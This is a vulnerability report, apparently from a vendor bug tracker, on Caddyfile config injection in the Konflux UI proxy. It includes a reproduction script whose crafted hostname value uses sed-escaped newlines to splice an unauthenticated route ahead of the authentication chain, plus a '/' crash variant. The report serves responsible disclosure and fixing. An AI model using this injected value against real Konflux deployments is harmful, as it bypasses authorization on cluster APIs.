Fedora Account System
Red Hat Associate
Red Hat Customer
Reported by an upstream user to konflux-sec ~~~Start Report~~~ Security Report: Konflux UI Proxy — Caddyfile Config Injection via Unvalidated Hostname Fields Title Unvalidated hostname fields enable Caddyfile config injection in the Konflux UI proxy generator, allowing an unauthenticated route to be spliced ahead of the forward_auth/impersonate authorization chain Reporter Details: Github: abhi04anon Linkedin: https://www.linkedin.com/in/abhirup-sarkar-/ Technical Description: generate-proxy-config.sh (and its duplicated copy embedded in operator/pkg/manifests/ui/manifests.yaml) builds the UI proxy's live Caddyfile by running unvalidated hostname values through sed: hostname="${KITE_HOSTNAME:-konflux-kite.konflux-kite.svc.cluster.local}" sed "s/__KITE_HOSTNAME__/${hostname}/g" "${TEMPLATES_DIR}/kite.caddy" > "${SNIPPETS_DIR}/kite.caddy" Four near-identical call sites do this for KITE_HOSTNAME, KUBEARCHIVE_HOSTNAME, WATSON_HOSTNAME, and TEKTON_RESULTS_HOSTNAME. Source of the tainted value: spec.{tektonResults,kite,kubeArchive,watson}.hostname on the KonfluxUI custom resource, propagated to the proxy init container's env vars in operator/internal/controller/ui/konfluxui_controller.go (WithOptionalEnvOverride / WithEnvOverride) with no format or charset validation in the CRD schema. Sink: the generated snippet file is import-ed directly into the main Caddyfile via import /mnt/caddy-snippets/*.caddy. That Caddyfile is the sole enforcement point for forward_auth 127.0.0.1:6000 (oauth2-proxy) → impersonate before any request reaches the Kubernetes API or an internal backend (Tekton Results, KubeArchive, Kite). Because the substituted value becomes live Caddy syntax, not inert text, a value containing GNU-sed-escaped newlines (\<newline>, sed's own syntax for a literal newline in a replacement) plus Caddy directives is parsed as real configuration structure. This lets an attacker close the authenticated route { } block early and splice in a new, matcher-less, unconditional route — one that never passes through forward_auth/impersonate. A simpler variant exists too: any value containing a literal / collides with sed's own s/.../.../ delimiter and crashes the generator outright (sed: unknown option to 's') — a denial-of- service on proxy startup, independent of the structural-injection path. Why existing CI tooling misses it: the repo runs differential-shellcheck, but the variable is correctly quoted ("${hostname}"); shellcheck has no model of "this string becomes a second file's syntax," so there is nothing for it to flag. This is a semantic/cross-file bug, not a shell- quoting bug. Root cause class: CWE-94 (Improper Control of Generation of Code — 'Code Injection') / CWE-150 (Improper Neutralization of Escape, Meta, or Control Sequences), via unsafe text- templating of a security-enforcing config file. Secondary: CWE-20 (Improper Input Validation) for the crash variant. Novelty check: searched the repository's issues/PRs, public GHSA/NVD sources, and the web for this file and bug class — found no existing report as of 2026-11-09. Affected Versions: Reproduced against konflux-ci/konflux-ci, main branch, v0.2.2: • operator/upstream-kustomizations/ui/core/proxy/generate-proxy-config.sh (lines ~40, 50, 58, 70) • operator/pkg/manifests/ui/manifests.yaml (lines ~273, 283, 291, 300 — embedded copy) Reproduction Steps: Minimal, fully offline uses a verbatim copy of the real template and, for step 3, the real upstream Caddy v2.8.4 binary: #!/bin/sh set -eu TEMPLATE="./tekton-results.caddy.tpl" # verbatim copy of the real template OUT="./tekton-results.caddy.generated" # 1. Baseline — legitimate hostname produces a clean, correctly-nested route hostname="tekton-results-api-service.tekton-pipelines.svc.cluster.local" sed "s/__TEKTON_RESULTS_HOSTNAME__/${hostname}/" "$TEMPLATE" > "$OUT" cat "$OUT" # 2. Crafted hostname — this is the project's *actual* vulnerable sed line, # fed a value a KonfluxUI CR field has no validation to reject. # Each \<newline> is GNU sed's own syntax for a literal newline in a # replacement; no literal "/" is used since that would break sed's own # delimiter first (see step 4). hostname='legit.svc.cluster.local\ }\ handle {\ respond "injected-unauthenticated-route" 200\ }\ route {\ reverse_proxy 127.0.0.1:9 {' sed "s/__TEKTON_RESULTS_HOSTNAME__/${hostname}/" "$TEMPLATE" > "$OUT" cat "$OUT" # 3. Validate with Caddy's own parser (authoritative). # impersonate/inject_cached_vars are konflux's own custom Caddy modules # (not in stock upstream Caddy, not vendored in this repo) — stripped # for this parser-validation step only; nothing else in the generated # output is altered. printf '{\n\tauto_https off\n}\n:9443 {\n' > full.Caddyfile sed -e '/^\s*impersonate\s*$/d' -e '/^\s*inject_cached_vars\s*$/d' "$OUT" >> full.Caddyfile printf '}\n' >> full.Caddyfile ./caddy adapt --config full.Caddyfile --adapter caddyfile # 4. Simpler failure mode — a bare "/" crashes the generator outright. hostname="tekton-results.example.com/evil" sed "s/__TEKTON_RESULTS_HOSTNAME__/${hostname}/" "$TEMPLATE" Output — step 2 (crafted value; note the early and spliced handle {}): handle_path /api/k8s/plugins/tekton-results/\* {\  route {\  forward_auth 127.0.0.1:6000 {\  uri /oauth2/auth\  header_up Authorization {http.request.header.Authorization}\  copy_headers X-Auth-Request-Email X-Auth-Request-Groups\  }\  impersonate\  inject_cached_vars\  request_header -Authorization\  reverse_proxy [https://legit.svc.cluster.local](https://legit.svc.cluster.local)\  }\  handle {\  respond “injected-unauthenticated-route” 200\  }\  route {\  reverse_proxy 127.0.0.1:9 {:8080 {\  ...\  }\  }\  } Output — step 3 (real Caddy parser, compiled JSON — the authoritative result): {"apps":{"http":{"servers":{"srv0":{"listen":[":9443"],"routes":[ {"match":[{"path":["/api/k8s/plugins/tekton-results/*"]}], "handle":[{"handler":"subroute","routes":[ {"handle":[{"handler":"rewrite","strip_path_prefix":"/api/k8s/plugins/tekton-results"}]}, {"handle":[{"handler":"subroute","routes":[ {"handle":[{"body":"injected-unauthenticated- route","handler":"static_response","status_code":200}]} ]}, {"handler":"subroute","routes":[{"handle":[ {"handler":"reverse_proxy", "...forward_auth to 127.0.0.1:6000..."}, {"handler":"headers","request":{"delete":["Authorization"]}}, {"handler":"reverse_proxy","upstreams":[{"dial":"legit.svc.cluster.local:443"}]} ]}]} ]}, {"handle":[{"handler":"subroute","routes":[{"handle":[ {"handler":"reverse_proxy","upstreams":[{"dial":"127.0.0.1:9"},{"dial":"{:8080"}]} ]}]}]} ]}]} ]}}}}} Caddy's own compiler confirms the structural break: routes is an array evaluated in order, and the injected static_response handler ("injected-unauthenticated-route", HTTP 200) is its own unconditional sibling entry with no matcher — it sits ahead of the forward_auth/impersonate/reverse_proxy chain, which has been demoted to a separate, later sibling route rather than the thing wrapping the whole request. Output — step 4 (DoS variant): sed: -e expression #1, char 59: unknown option to `s’ Impact Assessment • Confidentiality / Integrity / Availability: an unconditional route can be spliced in ahead of the authentication/authorization gate for every backend this proxy fronts (Kubernetes API, Tekton Results, KubeArchive, Kite). Combined with the proxy ServiceAccount's existing cluster-wide impersonate grant on users/groups (operator/upstream-kustomizations/ui/core/proxy/rbac.yaml), a route that reaches the Kubernetes API without passing through forward_auth/impersonate first undermines the entire authorization model the proxy exists to enforce. • Availability (secondary): a hostname value containing / crashes the config generator outright, preventing the UI proxy from starting at all. • Access required to trigger it: write access to the KonfluxUI CR's hostname fields. Today that's effectively an admin-only surface, so this should be read as a defense-in- depth / input-validation gap rather than a pre-auth remote exploit — but that framing can change quickly in GitOps pipelines or delegated-admin setups where CR fields are templated from less-trusted inputs. • Estimated CVSS 3.1: AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H → 9.1 (Critical), self- calculated and offered as a starting point for maintainer triage rather than an authoritative score. Scope is Changed because the flaw in the config-generator component affects a different security authority (the Kubernetes-API authorization boundary enforced downstream); Privileges Required is High to reflect the CR-write prerequisite. Suggested Fix • Do not template security-enforcing syntax with sed against free-form strings. Either: o Validate each hostname field against a strict DNS-hostname regex (e.g., RFC 1123 label rules) in the CRD schema (+kubebuilder:validation:Pattern) and again defensively in the controller before it reaches the env var, rejecting anything else; or o Avoid text-templating entirely — have Caddy read the hostname at runtime via {env.KITE_HOSTNAME} placeholders instead of baking the value into the file via sed. • Separately, make the generator fail closed: if sed exits non-zero for any of the four substitutions, the init container should fail the pod rather than potentially emitting a partially-written or malformed snippet. Disclosure Status Not yet shared with the maintainers or any other party, and not published anywhere. Intended next step is private disclosure through the process listed in the project's SECURITY.md (github.com/konflux-ci/.github/blob/main/SECURITY.md). No conference or public-disclosure plans at this time; happy to follow whatever embargo/disclosure timeline the maintainers' security process specifies.
CVSS Score was reduced by changing S:C → S:U. This brought the severity from Critical (9.1) → Important (7.2). Justification: Per the report, our public facing clusters require admin permissions to modify KonfluxUI CR’s hostname fields, thus there is no scope change when this is exploited. Other values left as-is.